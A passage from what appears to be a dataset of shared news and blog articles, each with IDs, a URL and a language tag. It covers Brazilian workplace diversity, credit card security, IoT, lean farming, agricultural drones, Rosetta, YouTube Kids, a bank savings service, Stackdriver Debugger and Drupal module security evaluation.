allows ignorance to perpetuate ad infinitum . Talking about ignorance, let's demystify one of the main excuses for ethnic inequality in the workplace , shall we? It goes somehow like this: ""there are less black people than white people in leadership positions because they tend to be part of an underprivileged population with less access to education and, therefore, not qualified enough to be an executive leader in today's competitive market."" First of all, using this is an excuse makes it seem like a fact of life; one we should simply accept and move on. No! It's actually something rotten in our society that needs to be fixed right away . But for the reality deniers out there, let's pretend this is an acceptable argument for a second , just so we can smash it into oblivion once and for all. According to DIEESE (Inter-Union Department of Statistics and Socio-Economic Studies), 11,8% of the black population in Brazil have a college degree. Among the non-black population, this number jumps to 23,4% (almost twice as much). At a first glance, it looks like the argument makes sense. But once again, that's true only in a superficial level. Borrowing some data from Previ ( Banco do Brasil 's pension fund), we find out that only 2% of the top and middle management positions in the 114 Brazilian biggest companies are filled by darker-skinned professionals. Therefore, there are around twice as many white people than black people in our population with a college degree, but that distribution (2:1) jumps to 49:1 in companies' leadership positions . Weird, huh? Also weird is the fact that most companies argue they have practices to eliminate prejudice related to race/ethnicity and to develop non-Caucasian leadership. Looking at those numbers, there's a simple message I can see: It's time for a change! Those practices are clearly ineffective . Besides, that same DIEESE research points that white professionals in the industry and the trade sectors earn around 20% more than black professionals among people without complete elementary school or lesser education. Among professionals with a college degree, the difference grows to nearly 40% . It makes me wonder how much less a black woman is paid when compared to a white man. And now, to end this horror show: a research conducted by the recruiting and hiring company Elancers revealed that 7% of the interviewed companies have declared they would not hire a homosexual candidate under no circumstances whatsoever , and 11% of them would only hire that candidate if they knew there was no chance that employee could reach a position of influence/visibility (such an executive). And remember: those are the companies that declared so. How many more felt the same way but didn't have the guts to admit it? In other words, if you're a homosexual man or woman in Brazil and you want a job where you'll be treated fairly, at least next to one in five companies in the country are not for you . But that doesn't happen only around here! In an experiment conducted by the Harvard University, nearly identical résumés were sent to around 1,700 recruiters in the USA. The only difference among the documents: in half of them, it was also added that the candidate had previously worked as treasurer in the college's LGBT group. The result: the résumé without that extra piece of information got four times more calls to a job interview . And the problems do not end in the hiring process: according to the LGBT Out Now research, only 3 in 10 gay executives in Brazil speak openly about their sexual orientation at work . They're afraid for their jobs if they come out. And companies are losing money over it: the same research also points that among openly gay employees, 75% consider themselves to be productive. Among the ""closeted"" ones, only 46% felt the same way. It's hard to focus on work if you're spending all your energy to pretend being someone different than you are . And we haven't even talked about transgenders , who can barely hope to find any job in a company, let alone a decent one with perspective to grow. And this leads to very serious consequences: according to ANTRA (National Association of Transgenders and Cross-Dressers), 90% of the transgender and cross-dresser population in Brazil need to prostitute themselves as a mean to survive. So enough saying Brazil isn't a sexist country. Or racist. Or homophobic. It's all of that (and alarmingly so) inside and outside of the workplace. Enough with all the excuses! In order to solve any problem, it's necessary to admit its existence in the first place. And that's what Brazilian companies (and society as a whole) need to do right now. Whatever it is we're doing, it is not enough . We have to do more. Much more. From our side, we'll be watching more and more attentively. And we'll be more and more demanding of the companies - which is why you can expect more actions from Great Place to Work Brazil to support diversity, such as GPTW Women. Together we can work to eliminate prejudice from the workplaces and, hopefully, our society.",en
1467344270,CONTENT SHARED,2323403245382926621,3609194402293569455,2738135358555195865,,,,HTML,https://techcrunch.com/2016/06/29/final-is-a-plaster-on-the-gaping-wound-that-is-u-s-card-security/,Final is a plaster on the gaping wound that is U.S. credit card security,"Credit card fraud is an embarrassingly big problem for the banking industry, with an increasing number of companies launching products to patch the problems. The most recent example is Final , which today announced it is shipping its first consumer credit product with a radically new approach: disposable credit card numbers and card numbers locked to a single merchant. That's lovely - and good luck to the Final team - but in doing so, it serves predominantly as an example of a company fixing a serious problem from the wrong side of the fence. Taking on fraud and UX nightmares ""It's been two years in the making, and we are thrilled to start welcoming our earliest customers this week,"" said Final's CEO Aaron Frank. ""We chose to do the hard thing - build a consumer brand and behind it, a full-stack issuing company, from scratch."" The company's solution is as elegant as it is simple to the user; if you're about to spend money on a site that you don't really trust all that much, you can use the iOS app to generate a new credit card number. Once the payment is completed, the number stops working, and you're safe from additional transactions from that card. The other big innovation is merchant-locked cards. These are cards that are locked to a single website, for example. That way, you can set up subscriptions or other recurring payments for a particular merchant. Charges made by that merchant are approved, all others are rejected and it offers an additional layer of protection against your credit card details being stolen and used elsewhere. Because of demand outpacing supply for now, the company is currently operating a waiting list . All pretty neat, but... As excited as I am about innovations in this space, I continue to be baffled that companies like Final keep raising large sums of money to patch problems that are long-since solved elsewhere. In the case of Final , the company raised $9 million from investors, including Runa Capital, KPCB Edge, Digital Garage, DRW and Y Combinator. Online programs like have been operating for Verified by Visa and MasterCard SecureCode half a decade , and in countries where the banks are committing to security, the programs default to automatic enrollment for all cardholders. Out in the real world of plastic cards, chip-and-pin has been mandatory across much of the EU for 10 years . It's completely flabbergasting how I'm writing articles about how exciting it is that we now have ""burner"" cards - and doubly confusing why a pen is still part of card transactions in what is supposedly the most advanced country in the world. The problem is not that I think Final isn't going to be successful here in the U.S. - quite the contrary - but if the U.S. banking institutions could pull their heads out of their collective rectums for a full 20 seconds, there wouldn't be a need for companies like Final existing in the first place.",en
1467344321,CONTENT SHARED,-5255285107284514595,3609194402293569455,2738135358555195865,,,,HTML,http://startupi.com.br/2016/06/como-a-microsoft-esta-trabalhando-com-o-conceito-de-iot/,Como a Microsoft está trabalhando com o conceito de IoT - Startupi,"Ontem o Startupi participou de uma rodada de negócio da IoE Community São Paulo, que aconteceu no Distrito , Campus de Venture Building localizado no bairro do Jardins. O grupo não está somente focado na implementação da tecnologia e exemplos da vida real de implementações IoE/IoT, mas também nos valores de negócios e melhorias na experiência do usuário através desta inovação tecnológica. Hoje a Internet das Coisas está chamando a atenção global. As Coisas geram dados para o consumo humano ou da máquina e são controlados por humanos ou máquinas. A Internet of Everything estende o âmbito da Internet das Coisas em três dimensões adicionais: Dados, Pessoas e Processos. Lucas Humenhuk, Technical Evangelist da Microsoft, participou do evento e contou como a Microsoft está enxergando essa tecnologia. Lucas destaca que o conceito de Internet das Coisas ainda não está completamente definido, as empresas ainda estão debatendo sobre isso, mas para explicar, ele usou o quadrante abaixo para determinar quando uma coisa é definida como IoT. Segundo ele, para uma coisa ser IoT, ela precisa estar dentro dos quadrantes, ou seja, precisa ter um dispositivo, que pode ser qualquer coisa, desde objetos a seres vivos. Já no segundo quadrante, se analisado sozinho, o dispositivo está apenas gerando dados, por isso não pode ser considerado IoT. ""Você não está consumindo, você não está usando, por isso, o device passa a ser um dispositivo como uma automação, uma robótica, ou como qualquer outro dispositivo que está gerando informação para você"", diz Lucas. No terceiro quadrante, a nuvem, como usa a internet, algumas pessoas já passam a entender que ela por si só, é Internet das Coisas, pois estão gerando dados e enviando isso para a nuvem. Lucas particularmente, prefere enxergar a Internet das Coisas apenas no conjunto entre todos os quarto quadrantes, acrescentando o analytics, ou seja, para ter Internet das Coisas você precisa de um dispositivo gerando dados, enviando para a nuvem e sendo consumido. Uma pesquisa recente realizada pelo Gartner definiu quais são as tecnologias de ponta que estão vindo para o mercado, e se você olhar com atenção, IoT está no topo da onda, o que significa que é a tecnologia mais bem vista para o futuro. Atrás dela vem Big Data e Machine Learning. Durante a apresentação, Lucas chamou a atenção para o fato de que a Internet das Coisas ainda está no pico de Inflated Expectation, o que significa que ainda não existe uma definição para o que ela serve. ""O Gartner entende que IoT é o futuro, mas ainda não sabemos o que fazer com ela, ainda precisamos passar pelo ciclo de desilusão até entendermos para que essa tecnologia serve e sair com uma produtividade"", acrescenta Lucas. Como o uso de devices para captação de dados é parte primordial do conceito de Internet das Coisas, podemos notar que nos últimos anos, os dispositivos que utilizamos diariamente estão cada vez mais adaptados à internet. No gráfico abaixo, podemos notar esta grande diferença: Oportunidade em Internet das Coisas O Gartner determina que até 2020 serão 25 bilhões de devices conectados: relógio, gravata, cachorro, bicicleta, tudo aquilo que pode gerar dados e enviar para a nuvem. Com isso, serão US$1.7 trilhões gerados somente com o IoT. Outro destaque é que 70% do valor habilitado pelo IoT virá de cenários B2B. Como a Microsoft irá te ajudar com isso? Quando falamos de nuvem, o maior debate é sobre segurança. O Microsoft AZURE, uma coleção crescente de serviços de nuvem integrados - análise, computação, banco de dados, serviços móveis, rede, armazenamento e Web, é uma das nuvens que tem mais certificados de segurança, por exemplo, todos os dados transitados entre um device e a nuvem precisam ser criptografados, coisa que um Arduino, por exemplo, não consegue realizar. Existem considerações de arquitetura importantes para o serviço de nuvem voltado para IoT. São quatro padrões que precisam existir. São eles: Telemetria - Informação que flui a partir de um dispositivo para outros sistemas de estado de dispositivo de transporte e de ambiente. Consultas - Solicitações de dispositivos que procuram reunir informações ou iniciar atividades. Comandos - Comandos de outros sistemas para um dispositivo ou um grupo de dispositivos para realizar atividades específicas. Notificações - Informações fluindo de outros sistemas para um dispositivo ou grupo para a mudança de status. Lucas destaca outro ponto importante, pois a maioria das vezes quando falamos de IoT, falamos com pessoas que são engenheiras, que entendem tudo sobre produção, eles sabem desenvolver placas, sistemas, devices, mas para isso se transformar em Internet das Coisas, precisa atender outros pontos. Qual seria a melhor arquitetura de sistema de nuvem voltado para IoT? Precisa atender as outras cinco vertentes. É necessário um gestor, uma pessoa que irá receber os dados, é preciso ter uma coluna de transformação, uma de storage e uma de apresentação. Veja os detalhes no quadro abaixo: Lucas conta que a maior confusão que existe hoje com IoT é que os engenheiros que sabem fazer placas, não mexem com softwares e empresas que mexem com softwares, não sabem fazer as placas, por isso, a Microsoft está tentando entrar num conceito de desenvolvimento para IoT para unir esses dois mundos, transformando isso num produto final de verdade. Ele afirma que IoT está acontecendo agora, precisamos pegar essa onda, embarcar e começarmos juntos a definir o que é essa tecnologia. Segundo ele, a Microsoft tenta da melhor forma possível trazer serviços que são simples para engenheiros poderem desenvolver, da mesma forma que os desenvolvedores tem uma abertura gigante para fazer sistemas complexos e ajudar esses engenheiros. ""É preciso entender o impacto de IoT para negócios, IoT não são sensores dispositivos, isso é engenharia, automação e robótica. IoT é sabermos o que vamos fazer com toda informação que é gerada. Do que adianta eu colocar um sensor em uma vaca? Qual o objetivo final disso? Você precisa saber! IoT é isso, gerar dados e trabalhar com eles, isso no final dará informações muito importantes que pode mudar a perspectiva de negócio"", finaliza.",pt
1467364037,CONTENT SHARED,4320282974712265321,-6030696784871381528,-19009383641896059,,,,HTML,http://planet-lean.com/the-future-of-agriculture-jim-womack-visits-a-lean-farm,The future of agriculture - Jim Womack visits a lean farm,"WOMACK'S YOKOTEN - Lean in agriculture might still be in its infancy, but there is a small farm in Indiana that is already proving how valuable lean principles and techniques can be to this industry. Words: Jim Womack, Founder and Senior Advisor, Lean Enterprise Institute Taiichi Ohno, the architect of the Toyota Production System, had a problem with farmers. In his essay ""Agricultural People Have a Penchant for Storage"" in his book Workplace Management, Ohno noted that farmers invented inventories. The hunter gatherers who roamed the earth before farming practiced pull production: When they were hungry they pulled some animal out of the woods or swamp and ate it, with some berries pulled from a bush or tree for dessert. Farmers, by contrast, with the annual crop cycle and living at densities that hunting and gathering could no longer support, needed to store food to get through the year and even more food to deal with bad harvests. The birth of inventories. Even worse, farmers tended to produce as much as they possibly could during good years (a form of overproduction) to keep their workers and equipment busy and then stored it for future sale because a good harvest always caused prices to plummet. As a result, inventories and overproduction came to be viewed as good things. Part of Ohno's life work was to countermeasure the penchant of that ancient farmer lurking somewhere in our psyches to create excessive, just-in-case inventories in every human activity, no matter how far from the farm. But farming wasn't all bad from a lean perspective: I remember visiting Honda's Marysville complex in Ohio as it staffed up in the early 1980s and hearing that farmers were the ideal folks to hire as production associates because ""the cows have to be milked every day and farmers need to repair their tools in real time to keep the farm running smoothly."" So transferring farmers to factories - which also happened at Toyota in the early days - seemed like a win-win: Workers with the right attitudes and skills who were no longer needed on the farm (where agricultural employment as a percentage of total employment in the US was falling from 41 percent in 1900 to 2 percent in 2015) could work instead in lean manufacturing, and later in lean services. The combination of the falling agricultural workforce and the inherent inventory requirements of large crops grown in annual batches on modern, mass-production farms far from consumers made me think there wasn't much role for lean thinking in agriculture. So I gave farming no further thought until a copy of Ben Hartman's appeared in my mail box this spring. Ben and his wife Rachel are the sort of folks I most love to meet: They are self-educated experimenters who talked to a few people, read a few books, and then set out to apply lean thinking (plowing new ground, so to speak) on their small vegetable farm near Goshen, Indiana. Recently I rented a full-sized pick-up with a stretch cab (the most American, most farm-like, and most energy-intensive vehicle there is) and drove over from the Detroit airport to see their lean farm in action. When I examine experiments with something new I always start with purpose. In this case, ""What problem with traditional agriculture were you trying to solve by applying lean principles?"" The answer was that after generations of big farming on family farms nearby, Ben and Rachel wanted to try a new approach in their generation that would provide better work/life balance while still achieving an income target and that would be better for their customers, including the planet. They were looking for a combination of fresh, high-quality produce at reasonable cost with minimal use of fertilizer, pesticides, and fossil fuels. So they started a small (seven acre) vegetable farm that sold directly to a few ""foodie"" restaurants and to local customers in nearby towns through the Community-Supported Agriculture (CSA) program, which signs up customers for a year of deliveries of boxes of produce directly to their homes. The problem was that it was very hard work. Using conventional small farm methods it took 60 hours per week to make a go of the farm. As they thought about starting a family it was hard to see how everything could get done on the farm with any time left for the family and any money left over for other needs. Fortunately one of their CSA customers owned a nearby manufacturing business and reported that he had transformed it through application of lean principles to create more value at less cost. Why not apply these ideas to farming? But, of course, there were no books on lean farming and no fancy consultants to provide advice. So the lean farm would have to come into being the old-fashioned, self-reliant way of the farmer: through experiments. These were initially inspired by Ohno's seven wastes including, of course, overproduction, excess movement, and excess transportation. An examination of the movements of the farmer and the flow of produce from seed to shipping immediately showed that much of the ""work"" on the farm was actually waste - searching for tools and supplies, walking long distances due to a poor layout, ""re-working"" crops that had been improperly planted, over-producing due to poor communication with customers about what items they wanted and when. In addition, intense discussions with customers showed that they wanted more than good produce. They wanted to be directly involved with their supplier in deciding what type of produce should be grown and how it should be delivered at what time in what way. They even wanted to discuss recipes and suggested that the farmer provide advice on how to cook and present unfamiliar items. In short, they wanted goods plus services developed in collaboration to address their food problems, not just whatever vegetables appeared in the market at the lowest price from unknown vendors. With clarity about purpose and value, Ben and Rachel have been on a multi-year journey to apply lean principles to every aspect of their production and the way they treat those who work with them on the farm. They have pioneered ""market-ready harvesting"" to minimize the touches between field and customer, right-sized tools with quick changeovers to minimize the amount and cost of equipment needed, ""seed kanban"" to always have the planting material needed without tying up cash in just-in-case inventories, ""plot kanban"" to know immediately when a plot of land is ready for a new crop and exactly what crop to plant, quick changeovers of plots so the new crop goes in the same day the old crop comes out, and heijunka scheduling to spread the work of the farm evenly over a 12-month growing season to eliminate idle (wasted) assets and to prevent the seasonal mura and muri of the traditional farm as well. I'll leave the full details to , which I believe you will find fascinating whatever industry you are in. But a couple of counter-intuitive practices are important to share: Given their purpose of a good lifestyle with an adequate income, they have continually reduced the size of their farm as their productivity has grown, from seven acres to one half-acre of cropped area, while exceeding their net income target. And they have cut back in the summer - when home gardens and the big produce farmers bring their crops to market and send prices plummeting - to camp (and write books) while going full blast the other nine months in their heated greenhouses. Why is it that everyone else trying to transform a business using lean methods seems to think that dramatic growth and ever increasing wealth is the only measure of success? As they look ahead, one of the big remaining wastes is the waste of transportation. Their customers are concentrated in two small cities some miles from the farm, necessitating long drives (although vastly shorter field-to-table distances than those experienced by most vegetables today.) So why not move their half-acre farm to a spot between these adjacent cities that minimizes transport time and cost? Really local food! Let's get this straight: Ben and Rachel (assisted by Shingo the watch dog) are making a good living for their family with a good work/life balance by growing vegetables 365 days a year (with the help of student labor from a nearby college in the summer so they can be away) on a half-acre of land. They use little external energy (mostly for greenhouse heating in the winter) with no chemical fertilizer or pesticides. And they have reduced the waste of shrinkage and overproduction dramatically compared with big-farm-to-big-grocery production, distribution, and retailing (where up to 20 percent of annual planting isn't even harvested due to miscalculations about market demand.) Why aren't all our vegetables grown this way? Perhaps in the future they will be. Certainly lean thinking has now established a beachhead in agriculture for the first time. And I hope thousands of small farmers will copy (and improve on) Ben and Rachel's methods. But what about the big, mass-production farming industry? It feels to me like the auto industry in 1965, with high entry barriers, lax safety standards, and minimal environmental demands. A lean leap in big farming that minimizes energy and water requirements (and CO2 and methane emissions) while providing currently unavailable freshness and variety at the same or lower costs to the consumer seems hard to imagine now. But so did the triumph of Toyota and lean thinking the year before the Corolla was launched. Management expert James P. Womack , is the founder and senior advisor to the Lean Enterprise Institute. The intellectual basis for the Cambridge, MA-based Institute is described in a series of books and articles co-authored by Jim himself and Daniel Jones over the past 25 years. During the period 1975-1991, he was a full-time research scientist at MIT directing a series of comparative studies of world manufacturing practices. As research director of MIT's International Motor Vehicle Program, Jim led the research team that coined the term ""lean production"" to describe Toyota's business system. He served as LEI's chairman and CEO from 1997 until 2010 when he was succeeded by John Shook.",en
1467373185,CONTENT SHARED,270443693434886127,1120069409160402054,3485832599663329999,,,,HTML,http://www.mobiletime.com.br/30/06/2016/drones-vao-ajudar-pequenos-agricultores-no-brasil/443822/news.aspx,MOBILE TIME - Drones vão ajudar pequenos agricultores no Brasil,"Drones vão ajudar pequenos agricultores no Brasil Fernando Paiva, de São Carlos* Os drones são os novos aliados dos agricultores brasileiros. Esses pequenos robôs voadores registram imagens das lavouras para serem analisadas por softwares capazes de identificar a presença de pragas ou outros problemas, como deficiência nutricional na plantação, estresse hídrico e falhas no plantio. Tudo é georreferenciado, permitindo uma resposta precisa, mesclando defensores químicos e controle biológico. O problema é que os drones custam caro, com valores variando de aproximadamente R$ 10 mil a mais de R$ 500 mil. Isso sem contar o custo do software de análise de imagens, o que restringe seu uso a agricultores de médio e grande porte. Para levar os drones aos agricultores familiares, foi firmada uma parceria entre Embrapa, Qualcomm e o Instituto de Socioeconomia Solidária (Ises), com o lançamento do Programa de Desenvolvimento de Tecnologias para o Uso de Drones em Agricultura de Precisão, anunciado nesta quinta-feira, 30, na unidade da Embrapa em São Carlos/SP. ""O custo do drone em si e do processamento de dados é muito alto para o pequeno agricultor. E, no Brasil, a maioria dos agricultores são de pequeno porte"", comentou o presidente da Qualcomm para a América Latina, Rafael Steinhauser, durante a cerimônia de lançamento. A proposta é ter uma primeira prova de conceito de um drone de baixo custo para agricultura de precisão em maio do ano que vem. A ideia é que parte do processamento das imagens possa ser feita em tempo real pelo próprio drone, aproveitando um processador embarcado da Qualcomm, e enviado via 4G para um smartphone ou tablet do agricultor. O protótipo será testado ao longo de dois anos por um grupo de agricultores familiares selecionados pelo projeto. Depois disso, espera-se já ser possível lançar comercialmente uma solução que englobe tanto o drone quanto os softwares a um preço próximo de R$ 5 mil. Para que seja acessível aos pequenos agricultores, provavelmente será necessária a oferta de um modelo de negócios de ""drone como serviço"", prevê Lúcio Jorge, coordenador das pesquisas com drones na Embrapa. Cada empresa participante da parceria tem um papel bem definido no projeto. A Embrapa entra com os softwares de análise de imagens, cujos algoritmos são desenvolvidos por ela mesma. A Embrapa já conta com softwares sofisticados para a identificação de problemas em culturas de grãos, especialmente milho e soja, e vai estender para outros tipos de plantações, com foco nos pequenos agricultores. A Qualcomm, por sua vez, traz a sua experiência no desenvolvimento de componentes do hardware. A companhia norte-americana tem um módulo chamado Snapdragon Flight, voltado para drones, que consiste em uma pequena placa com 23,2 cm2 reunindo diversas funcionalidades, como processador, GPS, câmera 4K, GPU etc. O Snapdragon Flight aproveita processadores criados pela Qualcomm originalmente para smartphones, mas seu GPS é cinco vezes mais veloz que aquele dos celulares, por causa da necessidade de enorme precisão de localização durante um voo. O Ises ficará encarregado da análise do impacto sócio-econômico dessa iniciativa sobre o setor de agricultura familiar. ""É uma grande oportunidade para entendermos os benefícios da tecnologia na agricultura. Queremos aproximar o homem do campo à tecnologia"", disse Marcela Cardo, sócia-diretora do Ises. O projeto é financiado pela Qualcom Wireless Reach. O valor investido não foi divulgado. ""Queremos democratizar o uso de drones, de forma a trazer benefícios em escala para todos"", resumiu Oren Pinsky, diretor de novos negócios da Qualcomm no Brasil. Ajustes finos Atualmente, o processamento das imagens coletadas pelos drones é feito offline. Depois do voo, as fotos são recuperadas em um cartão de memória e analisadas em computadores. A geração de um mosaico com e a análise das imagens pode levar muitas horas, dependendo do tamanho da área. Para que esse processo seja feito em tempo real pelo próprio drone, será necessário fazer uma série de ajustes e testes para chegar à melhor relação possível de resolução de câmera e confiabilidade da análise feita pelo software embarcado. Para determinadas aplicações, não é necessária uma resolução altíssima, por exemplo. Esses ajustes finos serão realizados ao longo do projeto. Possivelmente, dependendo da aplicação, parte dos dados coletados serão enviados pelo drone para um servidor externo realizar o processamento e enviar depois para o agricultor. O Snapdragon Flight conta com uma câmera 4K, que consegue gerar uma resolução de até 10 cm2 de uma plantação. Dá perfeitamente para identificar falhas no plantio e realizar a contagem de plantas. A câmera pode trazer sensores multiespectrais, como infravermelho e ultravioleta, que permitem a identificação de determinadas pragas. Se forem acoplados lasers, dá para medir a altura das plantas e estimar a quantidade de frutos. E com uma câmera termal o agricultor consegue saber também a hora certa de irrigar cada parte da sua lavoura. Números da agricultura familiar Hoje, 70% dos produtos agrícolas consumidos no Brasil provêm da agricultura familiar. Ao todo, há 4,1 milhões de unidades produtivas de agricultura familiar no País, que empregam 74% dos trabalhadores da agropecuária nacional. Trata-se, contudo, de um segmento que enfrenta sérios desafios. Cardo, do Ises, cita algun deles: sistemas produtivos onerosos, trabalhosos e imprecisos; baixa escolaridade; dificuldade de acesso a recursos; dificuldade no beneficiamento, armazenamento e transporte dos produtos; e exposição a atravessadores. *O jornalista viajou a convite da Qualcomm",pt
1467375371,CONTENT SHARED,-4570752586662989981,-2979881261169775358,-8557016231242112023,,,,HTML,http://arstechnica.com/science/2016/06/after-brexit-comes-rosexitt-european-scientists-to-end-spacecrafts-life/,End is nigh for Rosetta,"After launching 12 years ago and achieving its primary mission of reaching an orbit around Comet 67P/Churyumov-Gerasimenko, the aging Rosetta spacecraft will now die. On September 30, the European Space Agency says it will command Rosetta to crash into the comet it has been following since 2014. Further Reading European Space Agency released a short film in 2014 to hype the Philae landing. Now at a distance of more than 850 million km from the Sun, Rosetta's two solar arrays cannot collect enough power to guarantee the spacecraft's heaters will keep it warm enough to survive. Instead of putting Rosetta into hibernation, which engineers believe is not survivable, Rosetta will follow its Philae lander to the surface of the comet. The journey, at least, should prove fruitful. During the final hours of descent, Rosetta will attempt to capture some very high-resolution images of the comet while collecting other data about 67P. Scientists hope communications with the spacecraft continue right up until the very end-when it crashes into the comet. ""We're trying to squeeze as many observations in as possible before we run out of solar power,"" said Matt Taylor, ESA Rosetta project scientist. ""30 September will mark the end of spacecraft operations, but the beginning of the phase where the full focus of the teams will be on science. That is what the Rosetta mission was launched for, and we have years of work ahead of us, thoroughly analyzing its data.""",en
1467377010,CONTENT SHARED,-6245566021053602636,-1387464358334758758,-7104730417434451425,,,,HTML,http://googlediscovery.com/2016/06/30/google-lanca-youtube-kids-no-brasil/,Google lança YouTube Kids no Brasil | Google Discovery,"O Google anunciou hoje no Brasil o aplicativo do YouTube Kids , uma plataforma com conteúdo gratuito voltado para toda família. De acordo com a gigante de Mountain View, a ferramenta oferece um ambiente mais seguro para crianças de 2 a 8 anos, além de uma interface amigável, com ícones coloridos e botões maiores. Entre os conteúdos podem ser localizados por meio de canais e playlists em quatro categorias: Séries, Música, Aprender e Explorar. ""O Brasil é o primeiro País de língua portuguesa a receber a plataforma. Desde o lançamento nos aplicativo do YouTube Kids nos Estados Unidos, mais de 10 milhões de downloads foram contabilizados"", disse porta-voz da empresa. YouTube Kids é gratuito e está disponível para dispositivos móveis Android e iOS . é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1467381084,CONTENT SHARED,5445999759138709405,5660542693104786364,-4372460612946273438,,,,HTML,http://www.infomoney.com.br/conteudo-patrocinado/noticia/5233259/bradesco-lanca-servico-inedito-para-estimular-habito-poupar,Bradesco lança serviço inédito para estimular o hábito de poupar,"SÃO PAULO - Uma das estratégias para manter suas finanças em dia, é ter sempre uma poupança, uma reserva de dinheiro que possa ser utilizada em casos de emergência, como a perda de emprego e outros imprevistos. Com objetivo de estimular o hábito de poupar e a formação da poupança no Brasil, o Bradesco lançou recentemente o Poupa Troco Bradesco . Trata-se de um serviço inédito no País, no qual os valores dos centavos dos débitos realizados em conta corrente serão arredondados para cima com a diferença sendo direcionada para uma conta de poupança. ""É um jeito simples de poupar sem perceber. Acreditamos que num curto espaço de tempo teremos a adesão de pelo menos 300 mil clientes ao Poupa Troco Bradesco, afirma Altair Antônio de Souza, diretor executivo do Bradesco. Como funciona Na ocorrência de um débito de uma conta de consumo no valor R$100,30, por exemplo, o Banco efetua a transferência de R$0,70 para uma conta de poupança de titularidade do cliente ou de uma outra pessoa que ele escolher, em qualquer agência Bradesco. O cliente escolhe ainda um valor inteiro, entre R$1 e R$5, que será adicionado à somatória dos centavos gerados pelos débitos ocorridos em sua conta corrente. Para ter acesso ao Poupa Troco, o cliente precisará cadastrar sua conta corrente ao novo serviço. Caso o cliente não tenha saldo disponível nenhum valor será transferido. A rentabilidade é a mesma da caderneta de poupança, que hoje está em 0,68% ao mês e com liquidez diária - o que permite o saque a qualquer momento, umas das principais vantagens da poupança. E este arredondamento vale não apenas para contas de consumo. Fazem parte do Poupa Troco as transações de débito automático de contas de consumo, boletos bancários, operações com cartão de débito, fatura de cartão de crédito, entre outras.",pt
1467391602,CONTENT SHARED,7434270606888620096,3891637997717104548,-2108423950476348958,,,,HTML,https://cloudplatform.googleblog.com/2016/06/Stackdriver-Debugger-now-works-with-source-code-directly-in-GitHub-and-Bitbucket.html,Stackdriver Debugger now works with source code directly in GitHub and Bitbucket,"Stackdriver Debugger has always worked with source code stored in the Google Cloud Source Repository , or even source in local files, without having to upload it to Google servers. Recently, we've also heard from you that you want to use Debugger with code stored in other source repositories. Today, we're happy to announce that Stackdriver Debugger can use source directly from Github or Bitbucket. No need to copy or replicate the source to Google Cloud Source Repository. Simply authorize access the first time you connect your repositories to display and view source. The debugger will automatically display the correct version of the source code for your application when you follow the debugger deployment steps . Note that your source is not uploaded to Google when you connect your Github or Bitbucket repository. Permissions to access the repository can be revoked at any time from the Github or Bitbucket admin pages. For more information, see Stackdriver Debugger setup documentation for App Engine and Compute Engine . And to learn more about Stackdriver Debugger, please visit the Debugger page . Give it a whirl and let us know if you like it.",en
1467392895,CONTENT SHARED,4991224059205503283,3891637997717104548,-2108423950476348958,,,,HTML,http://www.mediacurrent.com/blog/evaluating-security-contrib-modules,Evaluating the security of Drupal contrib modules,"At Mediacurrent, we take website security very seriously. Drupal has some security best practices baked into its APIs that let developers create their own modules, hopefully with secure code, to contribute back to the community. You contribute back, don't you? But sometimes, even though rules were followed and code has been thoroughly tested before being released as a contributed module on Drupal.org , security issues can still arise. Therefore, it's always a good idea to evaluate the security of the contributed module before installing it, as well as being properly informed of any security issues once it's already installed on your site. In case you missed it, a security advisory was recently announced for the Monitoring for Security Advisories XML Sitemap module. Here is the link to the security advisory: Here is a list of the most recent security advisories for contributed modules: How to Evaluate Contrib Module Security Here are some questions you should ask when assessing the security of a contributed module: 1. Is the module the recommended version? On Drupal.org, when browsing contributed modules, module versions are organized into sections and have some highlighting to aid in visualizing the status of all its available versions. Recommended releases are highlighted in green, not-recommended releases are highlighted in yellow, and unsupported or development versions are highlighted in red. It's always a good idea to use the recommended release of a contributed module, if one is available. In some cases, such as if the module is in it's early stages of development, a recommended release may not be available. In most cases, a not-recommended or development version can be used, but extra care should be taken as they may have not yet been fully tested and there may be unknown (or known) security issues. 2. Is the module deprecated or unsupported? There are a few reasons a module might be deprecated or unsupported. A module might be deprecated because it's functionality is similar or identical to another module on Drupal.org, so it has been deprecated in favor of that other module. Another instance that would cause a module to become deprecated is when its functionality has been ported into Drupal core. A module might be unsupported if the module's maintainer has little or no time to provide support to issues submitted to the issue queue. If a module's ""Maintenance status"" is set to ""Minimally maintained"" or ""Seeking new maintainer,"" it's likely the module isn't getting the support it needs to stay stable and secure. Modules can also be marked unsupported by the Drupal Security Team for security reasons. Generally, unsupported and deprecated modules should be avoided, as they are no longer being actively maintained, meaning the code is outdated and could leave your site vulnerable due to security issues. 3. How many issues are in the issue queues? The issue queue on a module's project page is a great place to find out the stability of a contributed module. When bugs are discovered by other users, issues are created in the issue queue for the module on Drupal.org. Scan the issue queue and look for any issues related to security, which should be marked as ""Critical"" priority. Keep in mind, the Drupal security team actively works with core and contributed maintainers to fix security issues and routinely provide public service announcements related to security issues. 4. Are you a developer? Do you see any issues in the code? Things like not running text through the check_plain() or filter_xss() functions, passing unsanitized data into a module file via $_GET arguments, or running database queries with plain SQL and not using Drupal's Database API are things to look at when scanning the code of a contributed module. What better way to contribute back to the Drupal community than to help fix issues? If you see a security issue in a contributed module, . If you're sure it's not a security-related bug, you can just report the bug in the contributed module's issue queue and/or report the security-related bug submit a patch to an existing issue. BONUS: How can you stay informed of Drupal security issues? At Mediacurrent, we use Slack for most of our internal communications. Slack provides a wide variety of integrations that speak with other platforms, such as Jira, Bitbucket, Jenkins, and yes, even Giphy. But, we also use it to stay informed of the latest security issues related to Drupal core and contributed modules. Every Wednesday, the Drupal security team posts security advisories to Drupal.org and the Slack integration automatically posts them to our Security channel. We maintain a Google Spreadsheet of our client, so we can track and be sure to keep core and contributed modules updated across our clients. The lead developer on the client is notified of the security announcements, handles the core or contributed module updates, tests and verifies, and finally updates the spreadsheet noting the sites are running the latest, non-vulnerable code. Don't have Slack? You can also stay updated by signing up for the mailing lists (subscribe in your d.o profile), subscribing to the RSS feeds , or follow @drupalsecurity on Twitter. In closing, it's important to always evaluate the modules you're wanting to install on your site before installing them. Hopefully this blog post gives some insight to better ways to evaluate the modules and also provides some ways to stay informed of the security issues. Additional Resources Best Practices for Drupal Site Security | Blog Post Security Talks at DrupalCon New Orleans 2016 | Blog Post How to Prepare Your Website for Drupal 8 | eBook",en
